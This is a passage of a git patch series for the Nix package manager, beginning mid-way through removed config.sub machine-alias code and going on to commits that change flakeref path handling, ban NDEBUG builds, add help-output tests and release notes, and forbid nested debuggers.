basic_os=sysv3 - ;; - dicos) - basic_machine=i686-pc - basic_os=dicos - ;; - djgpp) - basic_machine=i586-pc - basic_os=msdosdjgpp - ;; - ebmon29k) - basic_machine=a29k-amd - basic_os=ebmon - ;; - es1800 | OSE68k | ose68k | ose | OSE) - basic_machine=m68k-ericsson - basic_os=ose - ;; - gmicro) - basic_machine=tron-gmicro - basic_os=sysv - ;; - go32) - basic_machine=i386-pc - basic_os=go32 - ;; - h8300hms) - basic_machine=h8300-hitachi - basic_os=hms - ;; - h8300xray) - basic_machine=h8300-hitachi - basic_os=xray - ;; - h8500hms) - basic_machine=h8500-hitachi - basic_os=hms - ;; - harris) - basic_machine=m88k-harris - basic_os=sysv3 - ;; - hp300 | hp300hpux) - basic_machine=m68k-hp - basic_os=hpux - ;; - hp300bsd) - basic_machine=m68k-hp - basic_os=bsd - ;; - hppaosf) - basic_machine=hppa1.1-hp - basic_os=osf - ;; - hppro) - basic_machine=hppa1.1-hp - basic_os=proelf - ;; - i386mach) - basic_machine=i386-mach - basic_os=mach - ;; - isi68 | isi) - basic_machine=m68k-isi - basic_os=sysv - ;; - m68knommu) - basic_machine=m68k-unknown - basic_os=linux - ;; - magnum | m3230) - basic_machine=mips-mips - basic_os=sysv - ;; - merlin) - basic_machine=ns32k-utek - basic_os=sysv - ;; - mingw64) - basic_machine=x86_64-pc - basic_os=mingw64 - ;; - mingw32) - basic_machine=i686-pc - basic_os=mingw32 - ;; - mingw32ce) - basic_machine=arm-unknown - basic_os=mingw32ce - ;; - monitor) - basic_machine=m68k-rom68k - basic_os=coff - ;; - morphos) - basic_machine=powerpc-unknown - basic_os=morphos - ;; - moxiebox) - basic_machine=moxie-unknown - basic_os=moxiebox - ;; - msdos) - basic_machine=i386-pc - basic_os=msdos - ;; - msys) - basic_machine=i686-pc - basic_os=msys - ;; - mvs) - basic_machine=i370-ibm - basic_os=mvs - ;; - nacl) - basic_machine=le32-unknown - basic_os=nacl - ;; - ncr3000) - basic_machine=i486-ncr - basic_os=sysv4 - ;; - netbsd386) - basic_machine=i386-pc - basic_os=netbsd - ;; - netwinder) - basic_machine=armv4l-rebel - basic_os=linux - ;; - news | news700 | news800 | news900) - basic_machine=m68k-sony - basic_os=newsos - ;; - news1000) - basic_machine=m68030-sony - basic_os=newsos - ;; - necv70) - basic_machine=v70-nec - basic_os=sysv - ;; - nh3000) - basic_machine=m68k-harris - basic_os=cxux - ;; - nh[45]000) - basic_machine=m88k-harris - basic_os=cxux - ;; - nindy960) - basic_machine=i960-intel - basic_os=nindy - ;; - mon960) - basic_machine=i960-intel - basic_os=mon960 - ;; - nonstopux) - basic_machine=mips-compaq - basic_os=nonstopux - ;; - os400) - basic_machine=powerpc-ibm - basic_os=os400 - ;; - OSE68000 | ose68000) - basic_machine=m68000-ericsson - basic_os=ose - ;; - os68k) - basic_machine=m68k-none - basic_os=os68k - ;; - paragon) - basic_machine=i860-intel - basic_os=osf - ;; - parisc) - basic_machine=hppa-unknown - basic_os=linux - ;; - psp) - basic_machine=mipsallegrexel-sony - basic_os=psp - ;; - pw32) - basic_machine=i586-unknown - basic_os=pw32 - ;; - rdos | rdos64) - basic_machine=x86_64-pc - basic_os=rdos - ;; - rdos32) - basic_machine=i386-pc - basic_os=rdos - ;; - rom68k) - basic_machine=m68k-rom68k - basic_os=coff - ;; - sa29200) - basic_machine=a29k-amd - basic_os=udi - ;; - sei) - basic_machine=mips-sei - basic_os=seiux - ;; - sequent) - basic_machine=i386-sequent - basic_os= - ;; - sps7) - basic_machine=m68k-bull - basic_os=sysv2 - ;; - st2000) - basic_machine=m68k-tandem - basic_os= - ;; - stratus) - basic_machine=i860-stratus - basic_os=sysv4 - ;; - sun2) - basic_machine=m68000-sun - basic_os= - ;; - sun2os3) - basic_machine=m68000-sun - basic_os=sunos3 - ;; - sun2os4) - basic_machine=m68000-sun - basic_os=sunos4 - ;; - sun3) - basic_machine=m68k-sun - basic_os= - ;; - sun3os3) - basic_machine=m68k-sun - basic_os=sunos3 - ;; - sun3os4) - basic_machine=m68k-sun - basic_os=sunos4 - ;; - sun4) - basic_machine=sparc-sun - basic_os= - ;; - sun4os3) - basic_machine=sparc-sun - basic_os=sunos3 - ;; - sun4os4) - basic_machine=sparc-sun - basic_os=sunos4 - ;; - sun4sol2) - basic_machine=sparc-sun - basic_os=solaris2 - ;; - sun386 | sun386i | roadrunner) - basic_machine=i386-sun - basic_os= - ;; - sv1) - basic_machine=sv1-cray - basic_os=unicos - ;; - symmetry) - basic_machine=i386-sequent - basic_os=dynix - ;; - t3e) - basic_machine=alphaev5-cray - basic_os=unicos - ;; - t90) - basic_machine=t90-cray - basic_os=unicos - ;; - toad1) - basic_machine=pdp10-xkl - basic_os=tops20 - ;; - tpf) - basic_machine=s390x-ibm - basic_os=tpf - ;; - udi29k) - basic_machine=a29k-amd - basic_os=udi - ;; - ultra3) - basic_machine=a29k-nyu - basic_os=sym1 - ;; - v810 | necv810) - basic_machine=v810-nec - basic_os=none - ;; - vaxv) - basic_machine=vax-dec - basic_os=sysv - ;; - vms) - basic_machine=vax-dec - basic_os=vms - ;; - vsta) - basic_machine=i386-pc - basic_os=vsta - ;; - vxworks960) - basic_machine=i960-wrs - basic_os=vxworks - ;; - vxworks68) - basic_machine=m68k-wrs - basic_os=vxworks - ;; - vxworks29k) - basic_machine=a29k-wrs - basic_os=vxworks - ;; - xbox) - basic_machine=i686-pc - basic_os=mingw32 - ;; - ymp) - basic_machine=ymp-cray - basic_os=unicos - ;; - *) - basic_machine=$1 - basic_os= - ;; - esac - ;; -esac - -# Decode 1-component or ad-hoc basic machines -case $basic_machine in - # Here we handle the default manufacturer of certain CPU types. It is in - # some cases the only manufacturer, in others, it is the most popular. - w89k) - cpu=hppa1.1 - vendor=winbond - ;; - op50n) - cpu=hppa1.1 - vendor=oki - ;; - op60c) - cpu=hppa1.1 - vendor=oki - ;; - ibm*) - cpu=i370 - vendor=ibm - ;; - orion105) - cpu=clipper - vendor=highlevel - ;; - mac | mpw | mac-mpw) - cpu=m68k - vendor=apple - ;; - pmac | pmac-mpw) - cpu=powerpc - vendor=apple - ;; - - # Recognize the various machine names and aliases which stand - # for a CPU type and a company and sometimes even an OS. - 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) - cpu=m68000 - vendor=att - ;; - 3b*) - cpu=we32k - vendor=att - ;; - bluegene*) - cpu=powerpc - vendor=ibm - basic_os=cnk - ;; - decsystem10* | dec10*) - cpu=pdp10 - vendor=dec - basic_os=tops10 - ;; - decsystem20* | dec20*) - cpu=pdp10 - vendor=dec - basic_os=tops20 - ;; - delta | 3300 | motorola-3300 | motorola-delta \ - | 3300-motorola | delta-motorola) - cpu=m68k - vendor=motorola - ;; - dpx2*) - cpu=m68k - vendor=bull - basic_os=sysv3 - ;; - encore | umax | mmax) - cpu=ns32k - vendor=encore - ;; - elxsi) - cpu=elxsi - vendor=elxsi - basic_os=${basic_os:-bsd} - ;; - fx2800) - cpu=i860 - vendor=alliant - ;; - genix) - cpu=ns32k - vendor=ns - ;; - h3050r* | hiux*) - cpu=hppa1.1 - vendor=hitachi - basic_os=hiuxwe2 - ;; - hp3k9[0-9][0-9] | hp9[0-9][0-9]) - cpu=hppa1.0 - vendor=hp - ;; - hp9k2[0-9][0-9] | hp9k31[0-9]) - cpu=m68000 - vendor=hp - ;; - hp9k3[2-9][0-9]) - cpu=m68k - vendor=hp - ;; - hp9k6[0-9][0-9] | hp6[0-9][0-9]) - cpu=hppa1.0 - vendor=hp - ;; - hp9k7[0-79][0-9] | hp7[0-79][0-9]) - cpu=hppa1.1 - vendor=hp - ;; - hp9k78[0-9] | hp78[0-9]) - # FIXME: really hppa2.0-hp - cpu=hppa1.1 - vendor=hp - ;; - hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) - # FIXME: really hppa2.0-hp - cpu=hppa1.1 - vendor=hp - ;; - hp9k8[0-9][13679] | hp8[0-9][13679]) - cpu=hppa1.1 - vendor=hp - ;; - hp9k8[0-9][0-9] | hp8[0-9][0-9]) - cpu=hppa1.0 - vendor=hp - ;; - i*86v32) - cpu=$(echo "$1" | sed -e 's/86.*/86/') - vendor=pc - basic_os=sysv32 - ;; - i*86v4*) - cpu=$(echo "$1" | sed -e 's/86.*/86/') - vendor=pc - basic_os=sysv4 - ;; - i*86v) - cpu=$(echo "$1" | sed -e 's/86.*/86/') - vendor=pc - basic_os=sysv - ;; - i*86sol2) - cpu=$(echo "$1" | sed -e 's/86.*/86/') - vendor=pc - basic_os=solaris2 - ;; - j90 | j90-cray) - cpu=j90 - vendor=cray - basic_os=${basic_os:-unicos} - ;; - iris | iris4d) - cpu=mips - vendor=sgi - case $basic_os in - irix*) - ;; - *) - basic_os=irix4 - ;; - esac - ;; - miniframe) - cpu=m68000 - vendor=convergent - ;; - *mint | mint[0-9]* | *MiNT | *MiNT[0-9]*) - cpu=m68k - vendor=atari - basic_os=mint - ;; - news-3600 | risc-news) - cpu=mips - vendor=sony - basic_os=newsos - ;; - next | m*-next) - cpu=m68k - vendor=next - case $basic_os in - openstep*) - ;; - nextstep*) - ;; - ns2*) - basic_os=nextstep2 - ;; - *) - basic_os=nextstep3 - ;; - esac - ;; - np1) - cpu=np1 - vendor=gould - ;; - op50n-* | op60c-*) - cpu=hppa1.1 - vendor=oki - basic_os=proelf - ;; - pa-hitachi) - cpu=hppa1.1 - vendor=hitachi - basic_os=hiuxwe2 - ;; - pbd) - cpu=sparc - vendor=tti - ;; - pbb) - cpu=m68k - vendor=tti - ;; - pc532) - cpu=ns32k - vendor=pc532 - ;; - pn) - cpu=pn - vendor=gould - ;; - power) - cpu=power - vendor=ibm - ;; - ps2) - cpu=i386 - vendor=ibm - ;; - rm[46]00) - cpu=mips - vendor=siemens - ;; - rtpc | rtpc-*) - cpu=romp - vendor=ibm - ;; - sde) - cpu=mipsisa32 - vendor=sde - basic_os=${basic_os:-elf} - ;; - simso-wrs) - cpu=sparclite - vendor=wrs - basic_os=vxworks - ;; - tower | tower-32) - cpu=m68k - vendor=ncr - ;; - vpp*|vx|vx-*) - cpu=f301 - vendor=fujitsu - ;; - w65) - cpu=w65 - vendor=wdc - ;; - w89k-*) - cpu=hppa1.1 - vendor=winbond - basic_os=proelf - ;; - none) - cpu=none - vendor=none - ;; - leon|leon[3-9]) - cpu=sparc - vendor=$basic_machine - ;; - leon-*|leon[3-9]-*) - cpu=sparc - vendor=$(echo "$basic_machine" | sed 's/-.*//') - ;; - - *-*) - # shellcheck disable=SC2162 - IFS="-" read cpu vendor <&2 - exit 1 - ;; - esac - ;; -esac - -# Here we canonicalize certain aliases for manufacturers. -case $vendor in - digital*) - vendor=dec - ;; - commodore*) - vendor=cbm - ;; - *) - ;; -esac - -# Decode manufacturer-specific aliases for certain operating systems. - -if test x$basic_os != x -then - -# First recognize some ad-hoc caes, or perhaps split kernel-os, or else just -# set os. -case $basic_os in - gnu/linux*) - kernel=linux - os=$(echo $basic_os | sed -e 's|gnu/linux|gnu|') - ;; - os2-emx) - kernel=os2 - os=$(echo $basic_os | sed -e 's|os2-emx|emx|') - ;; - nto-qnx*) - kernel=nto - os=$(echo $basic_os | sed -e 's|nto-qnx|qnx|') - ;; - *-*) - # shellcheck disable=SC2162 - IFS="-" read kernel os <&2 - exit 1 - ;; -esac - -# As a final step for OS-related things, validate the OS-kernel combination -# (given a valid OS), if there is a kernel. -case $kernel-$os in - linux-gnu* | linux-dietlibc* | linux-android* | linux-newlib* | linux-musl* | linux-uclibc* ) - ;; - uclinux-uclibc* ) - ;; - -dietlibc* | -newlib* | -musl* | -uclibc* ) - # These are just libc implementations, not actual OSes, and thus - # require a kernel. - echo "Invalid configuration \`$1': libc \`$os' needs explicit kernel." 1>&2 - exit 1 - ;; - kfreebsd*-gnu* | kopensolaris*-gnu*) - ;; - vxworks-simlinux | vxworks-simwindows | vxworks-spe) - ;; - nto-qnx*) - ;; - os2-emx) - ;; - *-eabi* | *-gnueabi*) - ;; - -*) - # Blank kernel with real OS is always fine. - ;; - *-*) - echo "Invalid configuration \`$1': Kernel \`$kernel' not known to work with OS \`$os'." 1>&2 - exit 1 - ;; -esac - -# Here we handle the case where we know the os, and the CPU type, but not the -# manufacturer. We pick the logical manufacturer. -case $vendor in - unknown) - case $cpu-$os in - *-riscix*) - vendor=acorn - ;; - *-sunos*) - vendor=sun - ;; - *-cnk* | *-aix*) - vendor=ibm - ;; - *-beos*) - vendor=be - ;; - *-hpux*) - vendor=hp - ;; - *-mpeix*) - vendor=hp - ;; - *-hiux*) - vendor=hitachi - ;; - *-unos*) - vendor=crds - ;; - *-dgux*) - vendor=dg - ;; - *-luna*) - vendor=omron - ;; - *-genix*) - vendor=ns - ;; - *-clix*) - vendor=intergraph - ;; - *-mvs* | *-opened*) - vendor=ibm - ;; - *-os400*) - vendor=ibm - ;; - s390-* | s390x-*) - vendor=ibm - ;; - *-ptx*) - vendor=sequent - ;; - *-tpf*) - vendor=ibm - ;; - *-vxsim* | *-vxworks* | *-windiss*) - vendor=wrs - ;; - *-aux*) - vendor=apple - ;; - *-hms*) - vendor=hitachi - ;; - *-mpw* | *-macos*) - vendor=apple - ;; - *-*mint | *-mint[0-9]* | *-*MiNT | *-MiNT[0-9]*) - vendor=atari - ;; - *-vos*) - vendor=stratus - ;; - esac - ;; -esac - -echo "$cpu-$vendor-${kernel:+$kernel-}$os" -exit - -# Local variables: -# eval: (add-hook 'before-save-hook 'time-stamp) -# time-stamp-start: "timestamp='" -# time-stamp-format: "%:y-%02m-%02d" -# time-stamp-end: "'" -# End: From 11a1dcc43b3830dc25319719bccc71572136c57d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Wed, 28 Feb 2024 16:59:06 +0100 Subject: [PATCH 16/90] Properly fail on flakerefs that don't point to a directory Directly fail if a flakeref points to something that isn't a directory instead of falling back to the logic of trying to look up the hierarchy to find a valid flake root. Fix https://github.com/NixOS/nix/issues/9868 --- src/libexpr/flake/flakeref.cc | 6 +++--- tests/functional/flakes/search-root.sh | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/libexpr/flake/flakeref.cc b/src/libexpr/flake/flakeref.cc index 86a0982f3..09b5cecbc 100644 --- a/src/libexpr/flake/flakeref.cc +++ b/src/libexpr/flake/flakeref.cc @@ -102,6 +102,9 @@ std::pair parsePathFlakeRefWithFragment( if (isFlake) { + if (!S_ISDIR(lstat(path).st_mode)) + throw BadURL("path '%s' is not a flake (because it's not a directory)", path); + if (!allowMissing && !pathExists(path + "/flake.nix")){ notice("path '%s' does not contain a 'flake.nix', searching up",path); @@ -124,9 +127,6 @@ std::pair parsePathFlakeRefWithFragment( throw BadURL("could not find a flake.nix file"); } - if (!S_ISDIR(lstat(path).st_mode)) - throw BadURL("path '%s' is not a flake (because it's not a directory)", path); - if (!allowMissing && !pathExists(path + "/flake.nix")) throw BadURL("path '%s' is not a flake (because it doesn't contain a 'flake.nix' file)", path); diff --git a/tests/functional/flakes/search-root.sh b/tests/functional/flakes/search-root.sh index d8586dc8a..6b137aa86 100644 --- a/tests/functional/flakes/search-root.sh +++ b/tests/functional/flakes/search-root.sh @@ -22,7 +22,7 @@ mkdir subdir pushd subdir success=("" . .# .#test ../subdir ../subdir#test "$PWD") -failure=("path:$PWD") +failure=("path:$PWD" "../simple.nix") for i in "${success[@]}"; do nix build $i || fail "flake should be found by searching up directories" From 2f0bc6373ce1cc62f6b0ec955a227762904a66df Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Th=C3=A9ophane=20Hufschmitt?= Date: Sat, 2 Mar 2024 10:34:20 +0100 Subject: [PATCH 17/90] Don't fail if a flakeref directly points to the flake.nix Just warn and redirect it to the parent directory --- src/libexpr/flake/flakeref.cc | 14 ++++++++++++-- 1 file changed, 12 insertions(+), 2 deletions(-) diff --git a/src/libexpr/flake/flakeref.cc b/src/libexpr/flake/flakeref.cc index 09b5cecbc..6c534f429 100644 --- a/src/libexpr/flake/flakeref.cc +++ b/src/libexpr/flake/flakeref.cc @@ -102,8 +102,18 @@ std::pair parsePathFlakeRefWithFragment( if (isFlake) { - if (!S_ISDIR(lstat(path).st_mode)) - throw BadURL("path '%s' is not a flake (because it's not a directory)", path); + if (!S_ISDIR(lstat(path).st_mode)) { + if (baseNameOf(path) == "flake.nix") { + // Be gentle with people who accidentally write `/foo/bar/flake.nix` instead of `/foo/bar` + warn( + "Path '%s' should point at the directory containing the 'flake.nix' file, not the file itself. " + "Pretending that you meant '%s'" + , path, dirOf(path)); + path = dirOf(path); + } else { + throw BadURL("path '%s' is not a flake (because it's not a directory)", path); + } + } if (!allowMissing && !pathExists(path + "/flake.nix")){ notice("path '%s' does not contain a 'flake.nix', searching up",path); From 2625e9fb0a787809e492cacdab6707b1e4863adf Mon Sep 17 00:00:00 2001 From: Jade Lovelace Date: Fri, 1 Mar 2024 13:07:01 -0800 Subject: [PATCH 18/90] Ban building Nix with NDEBUG When reviewing old PRs, I found that #9997 adds some code to ensure one particular assert is always present. But, removing asserts isn't something we do in our own release builds either in the flake here or in nixpkgs, and is plainly a bad idea that increases support burden, especially if other distros make bad choices of build flags in their Nix packaging. For context, the assert macro in the C standard is defined to do nothing if NDEBUG is set. There is no way in our build system to set -DNDEBUG without manually adding it to CFLAGS, so this is simply a configuration we do not use. Let's ban it at compile time. I put this preprocessor directive in src/libutil.cc because it is not obvious where else to put it, and it seems like the most logical file since you are not getting a usable nix without it. --- src/libutil/util.cc | 4 ++++ tests/unit/libstore/outputs-spec.cc | 2 -- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/src/libutil/util.cc b/src/libutil/util.cc index 75bb31c9b..06124bf15 100644 --- a/src/libutil/util.cc +++ b/src/libutil/util.cc @@ -9,6 +9,10 @@ #include +#ifdef NDEBUG +#error "Nix may not be built with assertions disabled (i.e. with -DNDEBUG)." +#endif + namespace nix { void initLibUtil() { diff --git a/tests/unit/libstore/outputs-spec.cc b/tests/unit/libstore/outputs-spec.cc index 456196be1..63cde681b 100644 --- a/tests/unit/libstore/outputs-spec.cc +++ b/tests/unit/libstore/outputs-spec.cc @@ -6,11 +6,9 @@ namespace nix { -#ifndef NDEBUG TEST(OutputsSpec, no_empty_names) { ASSERT_DEATH(OutputsSpec::Names { std::set { } }, ""); } -#endif #define TEST_DONT_PARSE(NAME, STR) \ TEST(OutputsSpec, bad_ ## NAME) { \ From b1ad729add0714cd123ea96497adf0ef14f683c4 Mon Sep 17 00:00:00 2001 From: Olmo Kramer Date: Sun, 3 Mar 2024 13:51:40 +0100 Subject: [PATCH 19/90] Add test for `nix flake update` with multiple inputs --- tests/functional/flakes/flakes.sh | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh index 7506b6b3b..427290883 100644 --- a/tests/functional/flakes/flakes.sh +++ b/tests/functional/flakes/flakes.sh @@ -564,6 +564,16 @@ nix flake lock "$flake3Dir" nix flake update flake2/flake1 --flake "$flake3Dir" [[ $(jq -r .nodes.flake1_2.locked.rev "$flake3Dir/flake.lock") =~ $hash2 ]] +# Test updating multiple inputs. +nix flake lock "$flake3Dir" --override-input flake1 flake1/master/$hash1 +nix flake lock "$flake3Dir" --override-input flake2/flake1 flake1/master/$hash1 +[[ $(jq -r .nodes.flake1.locked.rev "$flake3Dir/flake.lock") =~ $hash1 ]] +[[ $(jq -r .nodes.flake1_2.locked.rev "$flake3Dir/flake.lock") =~ $hash1 ]] + +nix flake update flake1 flake2/flake1 --flake "$flake3Dir" +[[ $(jq -r .nodes.flake1.locked.rev "$flake3Dir/flake.lock") =~ $hash2 ]] +[[ $(jq -r .nodes.flake1_2.locked.rev "$flake3Dir/flake.lock") =~ $hash2 ]] + # Test 'nix flake metadata --json'. nix flake metadata "$flake3Dir" --json | jq . From e6b9432542673a451b058ad2f0a7f1b4c20d3fbf Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 12:48:21 +0100 Subject: [PATCH 20/90] Add release note --- doc/manual/rl-next/arg-from-file.md | 9 +++++++++ 1 file changed, 9 insertions(+) create mode 100644 doc/manual/rl-next/arg-from-file.md diff --git a/doc/manual/rl-next/arg-from-file.md b/doc/manual/rl-next/arg-from-file.md new file mode 100644 index 000000000..5849b11a3 --- /dev/null +++ b/doc/manual/rl-next/arg-from-file.md @@ -0,0 +1,9 @@ +--- +synopsis: "CLI options `--arg-from-file` and `--arg-from-stdin`" +prs: 10122 +--- + +The new CLI option `--arg-from-file` *name* *path* passes the contents +of file *path* as a string value via the function argument *name* to a +Nix expression. Similarly, the new option `--arg-from-stdin` *name* +reads the contents of the string from standard input. From cbfd211b39fe053bb8a7ff416a7bf1c09b3d1fbf Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 12:49:32 +0100 Subject: [PATCH 21/90] Fix build --- src/libcmd/common-eval-args.hh | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/libcmd/common-eval-args.hh b/src/libcmd/common-eval-args.hh index 7548bd3b7..25ce5b9da 100644 --- a/src/libcmd/common-eval-args.hh +++ b/src/libcmd/common-eval-args.hh @@ -6,6 +6,8 @@ #include "common-args.hh" #include "search-path.hh" +#include + namespace nix { class Store; From 4b15ca2ffb710d96eb34ac47683abdd85d236f92 Mon Sep 17 00:00:00 2001 From: Valentin Gagarin Date: Mon, 4 Mar 2024 16:07:03 +0100 Subject: [PATCH 22/90] add tests for showing help --- package.nix | 2 + tests/functional/help.sh | 79 +++++++++++++++++++++++++++++++++++++++ tests/functional/local.mk | 3 +- 3 files changed, 83 insertions(+), 1 deletion(-) create mode 100644 tests/functional/help.sh diff --git a/package.nix b/package.nix index 20796a386..a90973b4c 100644 --- a/package.nix +++ b/package.nix @@ -24,6 +24,7 @@ , libgit2 , libseccomp , libsodium +, man , lowdown , mdbook , mdbook-linkcheck @@ -213,6 +214,7 @@ in { git mercurial openssh + man # for testing `nix-* --help` ] ++ lib.optionals (doInstallCheck || enableManual) [ jq # Also for custom mdBook preprocessor. ] ++ lib.optional stdenv.hostPlatform.isLinux util-linux diff --git a/tests/functional/help.sh b/tests/functional/help.sh new file mode 100644 index 000000000..74531c5d0 --- /dev/null +++ b/tests/functional/help.sh @@ -0,0 +1,79 @@ +source common.sh + +clearStore + +# test help output + +nix-build --help +nix-shell --help + +nix-env --help +nix-env --install --help +nix-env --upgrade --help +nix-env --uninstall --help +nix-env --set --help +nix-env --set-flag --help +nix-env --query --help +nix-env --switch-profile --help +nix-env --list-generations --help +nix-env --delete-generations --help +nix-env --switch-generation --help +nix-env --rollback --help + +nix-store --help +nix-store --realise --help +nix-store --serve --help +nix-store --gc --help +nix-store --delete --help +nix-store --query --help +nix-store --add --help +nix-store --add-fixed --help +nix-store --verify --help +nix-store --verify-path --help +nix-store --repair-path --help +nix-store --dump --help +nix-store --restore --help +nix-store --export --help +nix-store --import --help +nix-store --optimise --help +nix-store --read-log --help +nix-store --dump-db --help +nix-store --load-db --help +nix-store --print-env --help +nix-store --generate-binary-cache-key --help + +nix-channel --help +nix-collect-garbage --help +nix-copy-closure --help +nix-daemon --help +nix-hash --help +nix-instantiate --help +nix-prefetch-url --help + +function subcommands() { + jq -r ' +def recurse($prefix): + if .commands then + .commands | to_entries[] | .key as $k | + ($prefix + " " + $k) as $newPrefix | + if .value | has("commands") then + (.value | recurse($newPrefix)) + else + $newPrefix + end + else + $prefix + end; + +.args.commands | to_entries[] | .key as $cmd | + if .value | has("commands") then + (.value | recurse($cmd)) + else + $cmd + end +' +} + +nix __dump-cli | subcommands | while IFS= read -r cmd; do + nix $cmd --help +done diff --git a/tests/functional/local.mk b/tests/functional/local.mk index 18eb887cd..e36323a45 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -129,7 +129,8 @@ nix_tests = \ read-only-store.sh \ nested-sandboxing.sh \ impure-env.sh \ - debugger.sh + debugger.sh \ + help.sh ifeq ($(HAVE_LIBCPUID), 1) nix_tests += compute-levels.sh From 4ee54339191a968991cbe89bdfb80659096421b0 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Mon, 5 Feb 2024 13:18:16 -0800 Subject: [PATCH 23/90] Add release note --- doc/manual/rl-next/forbid-nested-debuggers.md | 32 +++++++++++++++++++ 1 file changed, 32 insertions(+) create mode 100644 doc/manual/rl-next/forbid-nested-debuggers.md diff --git a/doc/manual/rl-next/forbid-nested-debuggers.md b/doc/manual/rl-next/forbid-nested-debuggers.md new file mode 100644 index 000000000..a5924b24f --- /dev/null +++ b/doc/manual/rl-next/forbid-nested-debuggers.md @@ -0,0 +1,32 @@ +--- +synopsis: Nested debuggers are no longer supported +prs: 9920 +--- + +Previously, evaluating an expression that throws an error in the debugger would +enter a second, nested debugger: + +``` +nix-repl> builtins.throw "what" +error: what + + +Starting REPL to allow you to inspect the current state of the evaluator. + +Welcome to Nix 2.18.1. Type :? for help. + +nix-repl> +``` + +Now, it just prints the error message like `nix repl`: + +``` +nix-repl> builtins.throw "what" +error: + … while calling the 'throw' builtin + at «string»:1:1: + 1| builtins.throw "what" + | ^ + + error: what +``` From 14b0356dc5897e4acb02ff18f06c919ffcf8f146 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Fri, 2 Feb 2024 20:07:42 -0800 Subject: [PATCH 24/90] Forbid nested debuggers --- src/libcmd/repl.cc | 8 +------- src/libexpr/eval.cc | 19 +++++++++++++++++-- src/libexpr/eval.hh | 2 ++ src/libutil/fmt.hh | 2 -- 4 files changed, 20 insertions(+), 11 deletions(-) diff --git a/src/libcmd/repl.cc b/src/libcmd/repl.cc index 8b83608fa..75f20d635 100644 --- a/src/libcmd/repl.cc +++ b/src/libcmd/repl.cc @@ -336,13 +336,7 @@ ReplExitStatus NixRepl::mainLoop() printMsg(lvlError, e.msg()); } } catch (EvalError & e) { - // in debugger mode, an EvalError should trigger another repl session. - // when that session returns the exception will land here. No need to show it again; - // show the error for this repl session instead. - if (state->debugRepl && !state->debugTraces.empty()) - showDebugTrace(std::cout, state->positions, state->debugTraces.front()); - else - printMsg(lvlError, e.msg()); + printMsg(lvlError, e.msg()); } catch (Error & e) { printMsg(lvlError, e.msg()); } catch (Interrupted & e) { diff --git a/src/libexpr/eval.cc b/src/libexpr/eval.cc index f2bbf20bb..722ff6908 100644 --- a/src/libexpr/eval.cc +++ b/src/libexpr/eval.cc @@ -762,10 +762,24 @@ std::unique_ptr mapStaticEnvBindings(const SymbolTable & st, const Stati return vm; } +/** + * Sets `inDebugger` to true on construction and false on destruction. + */ +class DebuggerGuard { + bool & inDebugger; +public: + DebuggerGuard(bool & inDebugger) : inDebugger(inDebugger) { + inDebugger = true; + } + ~DebuggerGuard() { + inDebugger = false; + } +}; + void EvalState::runDebugRepl(const Error * error, const Env & env, const Expr & expr) { - // double check we've got the debugRepl function pointer. - if (!debugRepl) + // Make sure we have a debugger to run and we're not already in a debugger. + if (!debugRepl || inDebugger) return; auto dts = @@ -792,6 +806,7 @@ void EvalState::runDebugRepl(const Error * error, const Env & env, const Expr & auto se = getStaticEnv(expr); if (se) { auto vm = mapStaticEnvBindings(symbols, *se.get(), env); + DebuggerGuard _guard(inDebugger); auto exitStatus = (debugRepl)(ref(shared_from_this()), *vm); switch (exitStatus) { case ReplExitStatus::QuitAll: diff --git a/src/libexpr/eval.hh b/src/libexpr/eval.hh index 01abd4eb1..368bb17b3 100644 --- a/src/libexpr/eval.hh +++ b/src/libexpr/eval.hh @@ -153,6 +153,7 @@ struct DebugTrace { bool isError; }; + class EvalState : public std::enable_shared_from_this { public: @@ -222,6 +223,7 @@ public: */ ReplExitStatus (* debugRepl)(ref es, const ValMap & extraEnv); bool debugStop; + bool inDebugger = false; int trylevel; std::list debugTraces; std::map> exprEnvs; diff --git a/src/libutil/fmt.hh b/src/libutil/fmt.hh index e996f4ba2..77843f863 100644 --- a/src/libutil/fmt.hh +++ b/src/libutil/fmt.hh @@ -8,7 +8,6 @@ namespace nix { -namespace { /** * A helper for writing `boost::format` expressions. * @@ -42,7 +41,6 @@ void setExceptions(boost::format & fmt) boost::io::too_many_args_bit ^ boost::io::too_few_args_bit); } -} /** * A helper for writing a `boost::format` expression to a string. From 2e8f4faa100101e258b786494bac0996601cb4a1 Mon Sep 17 00:00:00 2001 From: Rebecca Turner Date: Mon, 4 Mar 2024 09:32:02 -0800 Subject: [PATCH 25/90] Fix build Not sure why that was giving a duplicate symbol error, or why marking it inline fixes it. Here it is! --- src/libutil/fmt.hh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/libutil/fmt.hh b/src/libutil/fmt.hh index 77843f863..abbaf95b6 100644 --- a/src/libutil/fmt.hh +++ b/src/libutil/fmt.hh @@ -34,7 +34,7 @@ inline void formatHelper(F & f, const T & x, const Args & ... args) /** * Set the correct exceptions for `fmt`. */ -void setExceptions(boost::format & fmt) +inline void setExceptions(boost::format & fmt) { fmt.exceptions( boost::io::all_error_bits ^ From 29049d26533fb9077b0214fad276804784e02e45 Mon Sep 17 00:00:00 2001 From: Eelco Dolstra Date: Mon, 4 Mar 2024 19:21:31 +0100 Subject: [PATCH 26/90] Implement getFingerprint() for store paths --- src/libfetchers/path.cc | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/src/libfetchers/path.cc b/src/libfetchers/path.cc index 276fd1b36..8231492e8 100644 --- a/src/libfetchers/path.cc +++ b/src/libfetchers/path.cc @@ -147,6 +147,20 @@ struct PathInputScheme : InputScheme return {std::move(*storePath), input}; } + std::optional getFingerprint(ref store, const Input & 